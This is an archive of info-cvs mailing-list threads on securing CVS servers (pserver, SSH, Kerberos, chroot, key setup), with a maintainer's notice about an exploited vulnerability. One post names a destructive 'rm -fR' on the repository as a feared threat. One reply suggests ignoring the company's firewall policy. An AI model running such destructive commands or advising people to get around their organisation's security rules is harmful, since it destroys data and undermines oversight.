CVS security

[Gregory Propf]

I'm new to the list.  My name is Gregory Propf and I'm a programmer in
Florida, USA.  I'm trying to coordinate programming efforts across
multiple developers who write code offsite.  I would like to use cvs but
am concerned about security.  I've played around with Kerberos but can't
get it working.  Mainly, what I would like is just to have cvs talk over
a secure socket so that usernames and passwords are encrypted.  Is there
a way to do this?  I have used ssh to do port forwarding for cvs but the
result is a kludge.







-- 
With every passing hour our solar system comes forty-three thousand
miles closer to globular cluster M13 in the constellation Hercules, and
still there are some misfits who continue to insist that there is no
such thing as progress.
-- Ransom K. Ferm

CVS security

[HMahaffey]

Greetings!

I've been tasked with improving the security of the access to our CVS 
repository.  [Cracker attacks will do this to managers... ;)  ]   We 
currently use pserver, and have developed scripts which allow users to 
request access to repositories via email to the owners, and then 
automatically update each repository's CVSROOT/passwd file if approved.  Not 
great, but it works ok.  Sure wish there was a "cvs passwd" command... ;)

I'm trying to decide between SSH and Kerberos.  The developers like SSH, but 
our security team votes for Kerberos.  I wanted to know if anyone could 
answer a couple of questions I have regarding CVS's interaction with them.

1) What SSH and Kerberos clients are there for Windows and Mac?

2) Do WinCVS and MacCVS* work with both?   

3) I'm told you can use OpenSSH for free on a Unix box, but for Mac/PC you 
really
have to go with a license from DataFellows.  Then I'm told that there is 
a chance
that the 2 won't necessarily talk together (something about SSH vs. SSH2?)

4) I have several repositories on my CVS server.  I can control which users 
can
access which repository by including them (or not) in that repository's 
CVSROOT/passwd file.  With SSH and Kerberos, will I lose this control?  I 
get
the feeling that, once authenticated for the machine, you would have 
access to
any of the repositories on that server.  [I guess I could put different 
repositories on
different machines.]

Someone up my food chain has a bee in his bonnet about using SecurID or 
digital certificates of some kind.  Has anyone looked into expanding CVS's 
security model to include such interfaces, or is it recomended to write your 
own and use CVS_RSH?

I've also heard about something called "SourceForge".  CVS repositories on 
the Internet?  Yow.  Are there corporations out there that do that with their 
Crown Jewels, or is it mainly used by Open Source projects?  I think I would 
swoon passing over the keys to our CVS server... ;)

Thanks in advance!

:)hal mahaffey

CVS security

[James Melton]

I am trying to get my Unix sysadmin allow me to run a CVS client which
will connect with a remote CVS server (not our server) via an anonymous
id. He has shared his concern with our management that CVS remote access
poses a significant risk to us. I think his fears are ungrounded, and
that all the associated risk falls only on the server side. 

Are there any reviews of security risk associated with using a CVS
client? Can there possibly be any risk to us?

Any ideas are appreciated,
Jim.


James Melton CyLogix
609.750.5190 609.750.5100
[EMAIL PROTECTED] www.cylogix.com

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

cvs security

[Sylvain . Laisne]

Hello,

I'm using cvs with mandrake 8.1
I wonder if pserver is the best way to proceed, but it seems to be easier to implement.
These are the opérations i've done to implement pserver :
-modify the cvs file in /etc/xinetd
-create the a generic user and group for the cvs users (is it the best way ?)
-create a cvsroot directory, changing the owner (root.cvsgroup) and the right 
-launch a cvs init command

I would like to define the different users of cvs in a passwd file but i don't now how to proceed (ie to generate the password)

Could someone help me ?

Sylvain

Re: CVS security

[Mitch Davis]

Gregory Propf wrote:
> 
> Mainly, what I would like is just to have cvs talk over
> a secure socket so that usernames and passwords are encrypted.
> Is there a way to do this?

> I have used ssh to do port forwarding for cvs but the result is a
> kludge.

Yes, trying to use ssh to forward port 2401 is a kludge.

Actually, CVS has a couple of modes of operation for accessing
the repository:

 - A mode (the default) where CVS does it by directly modifying the
   repository files.  Useful only for local repositories, and even
   then you might have problems with NFS2 being based on UDP, and
   hence possibly subject to error from faulty network cards.
   (This happened to us once).

 - A mode (commonly known as "pserver" mode) where the CVS client
   sends traffic over TCP port 2401.  The inetd on the server end
   is configured to start CVS in server mode.  Notably, this gives
   read-only access.

 - A mode (commonly known as "ext" mode) where the CVS client
   calls some other utility (by default, rsh) to provide a
   transparent pipe.  In practise, ssh is used instead of rsh,
   and ssh is called such that it starts the CVS server on the
   other end of the line.

What you want is the last mode.  The CVS client and CVS server
don't care how they are connected, just that they have a transparent
pipe between them.

ssh can establish that pipe without any information ever being
transmitted as cleartext.  Ever.  Either in the authentication
stage or while carrying CVS data.

By default this gives people read-write access to the repository,
but CVS can be configured to restrict this.

Also, you can generate ssh keys _without_ specifying a passphrase.
ssh will then sail through the connection which asking for one.
If you really wanted to be strict and prevent access without
a password, you could prevent people from using keys without
passphrases.

So, to put this into practise: (You'll need to modify the names)

  On the local machine, type this:

ssh-keygen

  This will create a subdir called ~/.ssh.  In this subdir
  will be two files, identity (your private key) and identity.pub.

  Log into the remote machine using ssh:

ssh -l [EMAIL PROTECTED]

  You'll need to type in your password.  Run ssh-keygen again.
  (You're doing this just to create the .ssh subdir with the
  right permissions).  Log out.

  Do this on your local machine:

scp ~/.ssh/identity.pub you@remote:.ssh/you.pub

  Log into the remote machine again using ssh.  Do this:

cd ~/.ssh
cat you.pub >> authorized_keys

  Log out.  You should then be able to do this to log in without
  being asked for a password:

ssh [EMAIL PROTECTED]

  If it doesn't work, try "ssh -v [EMAIL PROTECTED]" and see what
  it says.

  Now set the CVS_RSH environment variable to "ssh", and try
  this:

cvs -d :ext:[EMAIL PROTECTED]:/home/cvs/CVS-Repository co myproject

  If this doesn't work, add a "-t" just after the "cvs" to turn on
  debugging.  In particular, look at the first few lines where
  it calls ssh to initiate the connection.

I hope this helps.

Regards,

Mitch.
--
| mailto:[EMAIL PROTECTED]   | Not the official view of: |
| mailto:[EMAIL PROTECTED] | Australian Calculator Opn |
| Certified Linux Evangelist! | Hewlett Packard Australia |

Re: CVS security

[Sean Cavanaugh]

AFAIK there are three approaches:

The most common is to run the server in 'ssh mode' where the clients
ALWAYS talk to the server with ssh (or rsh possibly if your network is
already secure enough) for all traffic.  ssh handles the authentication, and
the cvs on the server assumes you are good if you got that far.

The other possibility is to tunnel the pserver over ssh, which most
people would consider outright silly, since you can just 'run the server'
native in ssh mode.

The third I believe involves a kerberos aware CVS, of which I have no
experience or knowledge in.

- Original Message -
From: "Gregory Propf" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, April 12, 2000 12:59 PM
Subject: CVS security


> I'm new to the list.  My name is Gregory Propf and I'm a programmer in
> Florida, USA.  I'm trying to coordinate programming efforts across
> multiple developers who write code offsite.  I would like to use cvs but
> am concerned about security.  I've played around with Kerberos but can't
> get it working.  Mainly, what I would like is just to have cvs talk over
> a secure socket so that usernames and passwords are encrypted.  Is there
> a way to do this?  I have used ssh to do port forwarding for cvs but the
> result is a kludge.
>
>
>
>
>
>
>
> --
> With every passing hour our solar system comes forty-three thousand
> miles closer to globular cluster M13 in the constellation Hercules, and
> still there are some misfits who continue to insist that there is no
> such thing as progress.
> -- Ransom K. Ferm
>
>

Re: CVS security

[Brian Huddleston]

> The other possibility is to tunnel the pserver over ssh, which most
> people would consider outright silly, since you can just 'run the server'
> native in ssh mode.

The advantage of this approach is that you can set developers up as CVS
users as opposed
to real users of your system.  While you might trust people to have
repository access you might
not want to trust them shell access to your machine.

(Of course, you'll want to restrict permissions on CVSROOT/ or giving them
repository access
is practically the same as giving them a shell account. :-)

Brian Huddleston
Huddleston Consulting

Re: CVS security

[Tobias Weingartner]

On Thursday, April 13, "Brian Huddleston" wrote:
> > The other possibility is to tunnel the pserver over ssh, which most
> > people would consider outright silly, since you can just 'run the server'
> > native in ssh mode.
> 
> The advantage of this approach is that you can set developers up as CVS
> users as opposed to real users of your system.  While you might trust
> people to have repository access you might not want to trust them shell
> access to your machine.

With an "approriate" shell, this is not a problem.  Basically, you can
take the anoncvssh, and turn it into a slightly less restrictive cvssh,
and then give each cvs user who you don't wish to have shell access this
shell...

--Toby.

Re: CVS security

[Brian Huddleston]

> On Thursday, April 13, "Brian Huddleston" wrote:
> > > The other possibility is to tunnel the pserver over ssh, which
most
> > > people would consider outright silly, since you can just 'run the
server'
> > > native in ssh mode.
> >
> > The advantage of this approach is that you can set developers up as CVS
> > users as opposed to real users of your system.  While you might trust
> > people to have repository access you might not want to trust them shell
> > access to your machine.
>
> With an "approriate" shell, this is not a problem.  Basically, you can
> take the anoncvssh, and turn it into a slightly less restrictive cvssh,
> and then give each cvs user who you don't wish to have shell access this
> shell...
>
> --Toby.

Ahh...interesting.  I hadn't heard of either one of those.  Of course, if
you just tunnel with pserver,
you don't have to leave port 22 open on your firewall.  If an 3vi1 Hac3r was
able to access your file
system somehow, they've now got a doorway in.

One of our customers had this problem, they hadn't kept up with the security
patches and some script kiddie had managed to add entries to the passwd file
using a BIND exploit.  But, since there weren't any ports open that let them
use their newly created accounts so no harm was done.

I think the tunneled pserver approach follows the principle of least
privelege best.  Although certainly, the pure ssh approach  is easier to
setup, easier on the clients,  and if you've got a clueful sysadmin that
stays on top of security maybe having login ports open is not too big a
deal.  Anyway, that's my $.02.  Take it for what it's worth.

Brian Huddleston
Huddleston Consulting

Re: CVS security

[Tobias Weingartner]

On Thursday, April 13, "Brian Huddleston" wrote:
> 
> I think the tunneled pserver approach follows the principle of least
> privelege best.  Although certainly, the pure ssh approach  is easier to
> setup, easier on the clients,  and if you've got a clueful sysadmin that
> stays on top of security maybe having login ports open is not too big a
> deal.  Anyway, that's my $.02.  Take it for what it's worth.

Hmm, I tend to run a quite "minimal" setup for CVS, having only the ssh
port "open" to the outside world.

--Toby.

Re: CVS security

[horio shoichi]

Gregory Propf wrote:
> 
> I'm new to the list.  My name is Gregory Propf and I'm a programmer in
> Florida, USA.  I'm trying to coordinate programming efforts across
> multiple developers who write code offsite.  I would like to use cvs but
> am concerned about security.  I've played around with Kerberos but can't
> get it working.  Mainly, what I would like is just to have cvs talk over
> a secure socket so that usernames and passwords are encrypted.  Is there
> a way to do this?  I have used ssh to do port forwarding for cvs but the
> result is a kludge.
> 
> --
> With every passing hour our solar system comes forty-three thousand
> miles closer to globular cluster M13 in the constellation Hercules, and
> still there are some misfits who continue to insist that there is no
> such thing as progress.
> -- Ransom K. Ferm

I am just trying to set up a similar cvs server, which still has some 
more experiments. My plan is this:

o run cvs under chrooted environment,

o give user ssh and kserver access, chrooted, no password, no 
  interactive shell.

To date, it looks to work in the following manner.

For ssh, users are authenticated with only RSA (i.e., no password),
sshd is run from inetd with option -iq. I am not planning to allow
any port forwarding. The users are allowed to, other than cvs tree,
modify their own authorized_keys files directly (in other words, it's
hard to stop this, due to the nature of ssh). 

For kerberos, there is a problem with krb_kntoln: it does not understand
cross realm issue, so doesn't successfully map remote principal name to
the local one. I wrote a small mapping program to work around this problem.
If your plan is to use gserver, the problem you encountered can be very 
much the same sort.

Aside this, the user need not be registered to database (of course KDC does
need registration), nor authenticated with password (just the authentication
on remote realm is enough).

Users cannot use interactive commands, simply because /dev/pty* are missing
under chrooted environment.


HTH,

horio shoichi

Re: CVS security

[Mitch Davis]

horio shoichi wrote:
> 
> For ssh, users are authenticated with only RSA (i.e., no password),

Much as I hate being a terminology twerp (and possibly an
incorrect one), RSA is encryption, not authentication.  The
authentication is done using the RSA encryption of a random
number.

> sshd is run from inetd with option -iq. I am not planning to allow
> any port forwarding. The users are allowed to, other than cvs tree,
> modify their own authorized_keys files directly (in other words, it's
> hard to stop this, due to the nature of ssh).

If you compile your own sshd, which does NOT look in $HOME/.ssh
but in some system-controlled place, you will have fixed this
problem.  The other part of the puzzle is how they contribute
their public key, and I would suggest setting up a web form
similar to how you can submit a public key to SourceForge.net.

Regards,

Mitch.
--
| mailto:[EMAIL PROTECTED]   | Not the official view of: |
| mailto:[EMAIL PROTECTED] | Australian Calculator Opn |
| Certified Linux Evangelist! | Hewlett Packard Australia |

Re: CVS security

[horio shoichi]

Mitch Davis wrote:
> 
> horio shoichi wrote:
> >
> > For ssh, users are authenticated with only RSA (i.e., no password),
> 
> Much as I hate being a terminology twerp (and possibly an
> incorrect one), RSA is encryption, not authentication.  The
> authentication is done using the RSA encryption of a random
> number.
> 
Thanks for your pointing out. I meant RSAAuthentication of ssh/sshd 
parameters but no other.

Man ssh; man sshd.

> > sshd is run from inetd with option -iq. I am not planning to allow
> > any port forwarding. The users are allowed to, other than cvs tree,
> > modify their own authorized_keys files directly (in other words, it's
> > hard to stop this, due to the nature of ssh).
> 
> If you compile your own sshd, which does NOT look in $HOME/.ssh

No, I don't need compile myself (actually I did, though). 

> but in some system-controlled place, you will have fixed this

What problem ?  Since sshd is chrooted, $HOME should be in the 
same chrooted space. Why do you think recompiling that weird 
way is necessary ?

> problem.  The other part of the puzzle is how they contribute

What puzzle ? What do -they- mean ? What contributes (?) public key ?

I don't see what you are talking. 

> their public key, and I would suggest setting up a web form
> similar to how you can submit a public key to SourceForge.net.

Since identity.pub, hence authorized_keys, do not belong to me,
I think I should not follow your suggestion. But anyway thanks. 


horio shoichi

> Regards,
> 
> Mitch.
> --
> | mailto:[EMAIL PROTECTED]   | Not the official view of: |
> | mailto:[EMAIL PROTECTED] | Australian Calculator Opn |
> | Certified Linux Evangelist! | Hewlett Packard Australia |

Re: CVS security

[Ken Raeburn]

"Brian Huddleston" <[EMAIL PROTECTED]> writes:
> >[... pserver over ssh ...]
> 
> The advantage of this approach is that you can set developers up as CVS
> users as opposed
> to real users of your system.  While you might trust people to have
> repository access you might
> not want to trust them shell access to your machine.

IMHO that should be an option for the non-pserver authentication modes
as well.


horio shoichi <[EMAIL PROTECTED]> writes:
> For kerberos, there is a problem with krb_kntoln: it does not understand
> cross realm issue, so doesn't successfully map remote principal name to
> the local one. I wrote a small mapping program to work around this problem.
> If your plan is to use gserver, the problem you encountered can be very 
> much the same sort.

Kerberos 4 and 5 as shipped by MIT both have hooks for changing the
mapping from principal name to local account name.  In version 4, at
least, I don't think it was well documented, and may have been a
non-default compile-time option.

But I think SASL has the better approach -- send an account name
separate from the authentication information, and let the server side
decide whether to grant you access to the account.  (Where "account"
may or may not correspond to "UNIX user id", etc.; it could just be an
arbitrary name.)

I suggested using SASL for CVS a long time ago, but the one or two
extra round trips during setup were met with more than a little
resistance.  (Far more than made sense, IMHO.)  It would have the
benefit of allowing future authentication methods to be added without
further impacting the CVS protocol spec, and if the SASL code were
imported from elsewhere, presumably without changing the CVS code
base.  (GSSAPI has some of the same benefits, but doesn't
automatically add the account-name component; that's left to the
application protocol.  It also doesn't address the authorization
issues, so that's left to the application too, which has to do it with
some awareness of the authentication mechanism used.)

Ken

Re: CVS security

[Greg A. Woods]

[ On Thursday, July 20, 2000 at 18:35:57 (EDT), [EMAIL PROTECTED] wrote: ]
> Subject: CVS security
>
> I'm trying to decide between SSH and Kerberos.  The developers like SSH, but 
> our security team votes for Kerberos.  I wanted to know if anyone could 
> answer a couple of questions I have regarding CVS's interaction with them.

Unless you have a very carefully designed and implemented Kerberos
infrastructure already in place it's *HIGHLY* unlikely to be even as
``secure'' as SSH.

> Someone up my food chain has a bee in his bonnet about using SecurID or 
> digital certificates of some kind.  Has anyone looked into expanding CVS's 
> security model to include such interfaces, or is it recomended to write your 
> own and use CVS_RSH?

SSH can do SecurID:

   --with-securid[=PATH]   Enable support for Security Dynamics SecurID card.

> I've also heard about something called "SourceForge".  CVS repositories on 
> the Internet?  Yow.  Are there corporations out there that do that with their 
> Crown Jewels, or is it mainly used by Open Source projects?  I think I would 
> swoon passing over the keys to our CVS server... ;)

I doubt it.  SourceForge is probably mostly just for open source.  Check
it yourself at www.sourceforge.net

-- 
Greg A. Woods

+1 416 218-0098  VE3TCP  <[EMAIL PROTECTED]>  
Planix, Inc. <[EMAIL PROTECTED]>; Secrets of the Weird <[EMAIL PROTECTED]>

Re: CVS security

[Steven M . Cherry]

Hi Hal,

> Greetings!

> great, but it works ok.  Sure wish there was a "cvs passwd" command... ;)

There is!  It's been recently created and donated to cvs.  Find it here:
http://www.cherrys.org/steven/projects.html

Let me know what you think,

Steven

-- 
==
== Steven M. Cherry   [EMAIL PROTECTED]  ==
== http://www.cherrys.org/steven/home.html  ==
==

Re: CVS security

[Mike Castle]

On Thu, Jul 20, 2000 at 06:35:57PM -0400, [EMAIL PROTECTED] wrote:
> 4) I have several repositories on my CVS server.  I can control which users 
> can
> access which repository by including them (or not) in that repository's 
> CVSROOT/passwd file.  With SSH and Kerberos, will I lose this control?  I 
> get
> the feeling that, once authenticated for the machine, you would have 
> access to
> any of the repositories on that server.  [I guess I could put different 
> repositories on
> different machines.]

Standard Unix groups.

mrc
-- 
   Mike Castle   Life is like a clock:  You can work constantly
  [EMAIL PROTECTED]  and be right all the time, or not work at all
www.netcom.com/~dalgoda/ and be right at least twice a day.  -- mrc
We are all of us living in the shadow of Manhattan.  -- Watchmen

Re: CVS security

[Stephane Bortzmeyer]

On Thursday 20 July 2000, at 18 h 35, the keyboard of [EMAIL PROTECTED] wrote:

> I'm trying to decide between SSH and Kerberos.  The developers like SSH, but 
> our security team votes for Kerberos.

That's a very strange advice, giving the decreased popularity of Kerberos. How 
do they support this choice?

> 3) I'm told you can use OpenSSH for free on a Unix box,

OpenSSH is free "free as in free speech, not free as in free beer", true.

> but for Mac/PC you really
> have to go with a license from DataFellows.  

My PC has OpenSSH running. 

> that the 2 won't necessarily talk together (something about SSH vs. SSH2?)

SSH2 is a completely different thing. SSH1 and OpenSSH have no problem talking 
to each other.

> I've also heard about something called "SourceForge". 


A great service, highly recommended.


> the Internet?  Yow.  Are there corporations out there that do that with their
> Crown Jewels, or is it mainly used by Open Source projects?

You seem to think they are exclusive: many corporations manage free software 
projects (starting with VA which manages SourceForge).

Re: CVS security

[Hauke Fath]

At 13:43 21.07.00 +0200, Stephane Bortzmeyer wrote:
>On Thursday 20 July 2000, at 18 h 35, the keyboard of [EMAIL PROTECTED] wrote:
>
> > I'm trying to decide between SSH and Kerberos.  The developers like 
> SSH, but
> > our security team votes for Kerberos.
>That's a very strange advice, giving the decreased popularity of Kerberos.

"That's a very strange statement, given that people outside the US are 
given free access to Kerberos for the first time (and Freenixes can ship 
with it)."  =8>

> > but for Mac/PC you really
> > have to go with a license from DataFellows.

If you are outside the US, the freeware Nifty Telnet does ssh.

 hauke

--
Hauke FathTangro Software Components GmbH
 D-69115 Heidelberg
[EMAIL PROTECTED]   Ruf +49-6221-13336-35, Fax -21

Re: CVS security

[Noel L Yap]

[EMAIL PROTECTED] on 2000.07.20 18:35:57
>I'm trying to decide between SSH and Kerberos.  The developers like SSH, but
>our security team votes for Kerberos.  I wanted to know if anyone could
>answer a couple of questions I have regarding CVS's interaction with them.

I don't know anything about Kerberos but the docs say something like, "If you
want real security, use Kerberos".  Since we don't have a Kerberos
infrastructure here, and I don't have the time to fight for one, I prefer SSH.

>1) What SSH and Kerberos clients are there for Windows and Mac?

If you use Cygwin, you can get an OpenSSH implementation for the PC.  Note,
however, that there may be some security holes due to its use of DLL's (eg
cygwin1.dll has some static state that other programs /may/ be able to change to
affect the SSH client).  (You can even get an OpenSSH server on your PC (but
with some differences)).

>2) Do WinCVS and MacCVS* work with both?

I don't use either.

>3) I'm told you can use OpenSSH for free on a Unix box, but for Mac/PC you
>really
>have to go with a license from DataFellows.  Then I'm told that there is
>a chance
>that the 2 won't necessarily talk together (something about SSH vs. SSH2?)

Like I said, you can get OpenSSH for the PC.  I've heard OpenSSH can do both SSH
and SSH2 (by forwarding the SSH protocol to a SSH server?), but I haven't tried
this.  I've also heard problems with OpenSSH interacting with other SSH products
(something about the format of the key files?).

>4) I have several repositories on my CVS server.  I can control which users
>can
>access which repository by including them (or not) in that repository's
>CVSROOT/passwd file.  With SSH and Kerberos, will I lose this control?  I
>get
>the feeling that, once authenticated for the machine, you would have
>access to
>any of the repositories on that server.  [I guess I could put different
>repositories on
>different machines.]

You can configure SSH such that the only command executable on the server is
"cvs server".  I'm not sure if "cvs server" can accept a "-d" (ie "cvs -d
/my/cvsroot server").  If it can, this should solve your problem.

If this is overkill (eg you want them to have logins to the server) or the above
condition isn't met, manage the permissions in the repository.  Turn other read
access off.  Setgid on directories.  Use filesystem ACL's if you must (if you
have them).

>Someone up my food chain has a bee in his bonnet about using SecurID or
>digital certificates of some kind.  Has anyone looked into expanding CVS's
>security model to include such interfaces, or is it recomended to write your
>own and use CVS_RSH?

I know nothing about this.

>I've also heard about something called "SourceForge".  CVS repositories on
>the Internet?  Yow.  Are there corporations out there that do that with their
>Crown Jewels, or is it mainly used by Open Source projects?  I think I would
>swoon passing over the keys to our CVS server... ;)

Theoretically, SourceForge can be installed within your own network.  I've tried
this a few months ago.  I didn't succeed.  Hopefully, they've gotten their act
together and it's easier to install (and more documented).

Noel



This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security

[Hauke Fath]

At 13:48 Uhr +0200 21.07.2000, Hauke Fath wrote:
>
>>  > but for Mac/PC you really
>>>  have to go with a license from DataFellows.
>
>If you are outside the US, the freeware Nifty Telnet does ssh.

For the Macintosh, that is.

hauke

-- 
Hauke FathTangro Software Components GmbH
 D-69115 Heidelberg
[EMAIL PROTECTED]   Ruf +49-6221-13336-35, Fax -21

CVS Security Issues

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Two patches were recently brought to my attention.  One moves the
CVSROOT/passwd file(s) into /etc/cvs.passwd
 and the other adds a
/etc/cvs-repouids which overrides any system users listed for users in
the CVSROOT/passwd file
.

The idea of both is to make it harder to overwrite the CVSROOT/passwd
file and gain root.  I've actually just commited a fix that will be
released soon with 1.11.11 & 1.12.5 which causes CVS to refuse to
continue running if the system user specified in CVSROOT/passwd maps to
root, but that doesn't stop anyone with write access to the
CVSROOT/passwd file from assuming any other UID they'd like.

Does anyone else have any opinions on this?  I'm a little torn on the
issue (aside from the fact that I don't have time to write the
documentation for the patches just now).  On the one hand, this could
move some of CVS's vulnerable files to a location where they are harder
to get at.  On the other hand,  CVS repositories have been mostly
self-contained for some time, and the documentation already makes it
clear that CVSROOT permissions should be controlled as tightly as
/etc's, so I'm not inclined to be swayed by the complaint that a simple
misstep in setting the group ownership of CVSROOT is all it takes to
open your system up to an already trusted user - the same could be said
for /etc.

Consolidation of vulnerable files might almost be a valid argument, but
I don't think I buy it.  Plenty of other sensitive files are scattered
around /var and elsewhere by various programs and I hear few
complaints.  Is there a standards document I should be reading?

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
- --
I've never made a mistake in my life.  I thought I had once, but it
turned out that I hadn't.
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org

iD8DBQE/4f9hLD1OTBfyMaQRAhZTAJ4r7BdylGSUU66lyiftjTxIClRbXwCgqep7
FBWdVp8sUgZ2+432auNHFfE=
=f6Sq
-END PGP SIGNATURE-




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

CVS security audit?

[Eric Siegerman]

Just out of curiosity, is this rash of CVS security fixes coming
out of the savannah.gnu.org audit?

Let me be a bit of a gadfly: I presume the Savannah folks are
security-auditing CVS along with other relevent tools, even if
they aren't the source of the current bug reports.

Now, I seem to recall that one of the big objections to pserver
is that CVS "has never had a security audit".  Once the Savannah
audit is finished, that objection goes away.  How will that
affect peoples' level of confidence in pserver and the like?

--

|  | /\
|-_|/  >   Eric Siegerman, Toronto, Ont.[EMAIL PROTECTED]
|  |  /
It must be said that they would have sounded better if the singer
wouldn't throw his fellow band members to the ground and toss the
drum kit around during songs.
- Patrick Lenneau


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

CVS security question

[Pankaj Garg]

I am a new user of CVS. I setup CVS server on my linux box. I want two users
to have check-in access to my repository and i want to use SSH. To use SSH i
need to make shell accounts for those two users. Now because these two users
have shell account and have write access to my repository, they can
essentially login in my CVS server box and do an rm -fR on my whole
repository. Is there a way to prevent this?
Thanks
PG
_
Check out the new MSN 9 Dial-up — fast & reliable Internet access with prime 
features! http://join.msn.com/?pgmarket=en-us&page=dialup/home&ST=1



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

CVS Security Vulnerability

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hi all,

For those who don't know, cvshome.org is currently down because it was
hacked, via its CVS server we believe.  cvshome.org was used to send
an email that contains an exploit for the security vulnerabiliy
CAN-2004-0396

patched in releases 1.11.16 & 1.12.8.

The email with the exploit is here:
.

Our working theory is that cvshome.org was abused to send the email
using a root kit installed prior to the patching of its CVS server for
CAN-2004-0396.

Note that this vulnerability requires a valid login id & password on
the CVS server to exploit, but that even an anonymous & read-only
account is sufficient.  This vulnerability also applies to any CVS
server, post-authentication.  A CVS server accessed via pserver, ssh,
or any other method will be equally vulnerable.

I recommend that any CVS server running a release of CVS earlier than
1.11.16 or 1.12.8 be taken down immediately and patched.

cvshome.org should be back up shortly but it may be some time before
anonymous read-only access is reenabled.  Thanks go out to the folks
at CollabNet for all the time they have been spending on this.

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAsmRQLD1OTBfyMaQRAoFYAKDs4SpbgMnlWXE31OwLKL4JGrx0VgCgpWxA
z0Ig/Wi09ZBb6PovGxxW/ac=
=7zWD
-END PGP SIGNATURE-



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security

[Tracy Brown]

This is a matter of perspective. To a security administrator you are passing
through the firewall on what is probably an unauthorized port and the *code*
that you are downloading may contain viruses, worms, etc. I of course do not
feel this way and chances are your administrator doesn't understand *why*
people like us *need* to use CVS. I'm sure there are ways around this - and
depending on how your company's firewall is configured - you can just go
ahead and use the client. You might get caught and slapped on the hand.

Alternatively you could pose a business case to your management showing that
you require access to this remote repository and offer to sign a
nondisclosure statement or whatnot with regard to uploading proprietary
company data and maybe draft a little policy stating that on all *updates*
you will run some sort of virus detection program... Some of this may not
apply, but it's just an idea.

I am not aware of a CVS client posing an active risk in a security framework
such that an outsider could gain some level of access. The client does not
accept incoming connections...

Tracy.

> -Original Message-
> From: James Melton [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, May 16, 2001 9:43 AM
> To: [EMAIL PROTECTED]
> Subject: CVS security
> 
> 
> I am trying to get my Unix sysadmin allow me to run a CVS client which
> will connect with a remote CVS server (not our server) via an 
> anonymous
> id. He has shared his concern with our management that CVS 
> remote access
> poses a significant risk to us. I think his fears are ungrounded, and
> that all the associated risk falls only on the server side. 
> 
> Are there any reviews of security risk associated with using a CVS
> client? Can there possibly be any risk to us?
> 
> Any ideas are appreciated,
> Jim.
> 
> 
> James Melton CyLogix
> 609.750.5190 609.750.5100
> [EMAIL PROTECTED] www.cylogix.com
> 
> ___
> Info-cvs mailing list
> [EMAIL PROTECTED]
> http://mail.gnu.org/mailman/listinfo/info-cvs
> 

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security

[Larry Jones]

James Melton writes:
> 
> Are there any reviews of security risk associated with using a CVS
> client? Can there possibly be any risk to us?

It's essentially equivalent to an FTP client, which I've never heard of
anyone having a problem with.

-Larry Jones

Any game without push-ups, hits, burns or noogies is a sissy game. -- Calvin

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security

[Mark Harrison]

James Melton <[EMAIL PROTECTED]>
> I am trying to get my Unix sysadmin allow me to run a CVS client which
> will connect with a remote CVS server (not our server) via an anonymous
> id. He has shared his concern with our management that CVS remote access
> poses a significant risk to us. I think his fears are ungrounded, and
> that all the associated risk falls only on the server side. 
> 
> Are there any reviews of security risk associated with using a CVS
> client? Can there possibly be any risk to us?

These items sufficed for our own admin:

1.  Your site needs only outbound access.  Inbound access is
disabled, so nobody can attack through that route.

2.  You are only using anonymous access, so you are not exposing
any of your own passwords over the connection.

3.  Anonymous CVS is read-only.  You can't accidentally send
data from your system over the connection.

With these
HTH,
Mark

--
Mark Harrison   [EMAIL PROTECTED] "the arms merchant of choice
Chief Software Architect [EMAIL PROTECTED]  for virtually every combatant
AsiaInfo Holdings, Inc.   +86-1390-138-3470  in China's network wars..."
Beijing/Santa Clara/Hong Kong icq:106821430 - Wall Street Journal



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security

[Larry Jones]

Mark Harrison writes:
> 
> 3.  Anonymous CVS is read-only.  You can't accidentally send
> data from your system over the connection.

This is not necessarily true -- one can allow anonymous read/write
access, although it probably isn't the brightest idea.

-Larry Jones

I hope Mom and Dad didn't rent out my room. -- Calvin

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: cvs security

[Noel Yap]

If you want security (as the subject of your email
suggests), use SSH instead of pserver.  pserver has
many insecurities.

Noel
--- [EMAIL PROTECTED] wrote:
> Hello,
> 
> I'm using cvs with mandrake 8.1
> I wonder if pserver is the best way to proceed, but
> it seems to be easier 
> to implement.
> These are the opérations i've done to implement
> pserver :
> -modify the cvs file in /etc/xinetd
> -create the a generic user and group for the cvs
> users (is it the best way 
> ?)
> -create a cvsroot directory, changing the owner
> (root.cvsgroup) and the 
> right 
> -launch a cvs init command
> 
> I would like to define the different users of cvs in
> a passwd file but i 
> don't now how to proceed (ie to generate the
> password)
> 
> Could someone help me ?
> 
> Sylvain
> 


__
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions! 
http://auctions.yahoo.com

___
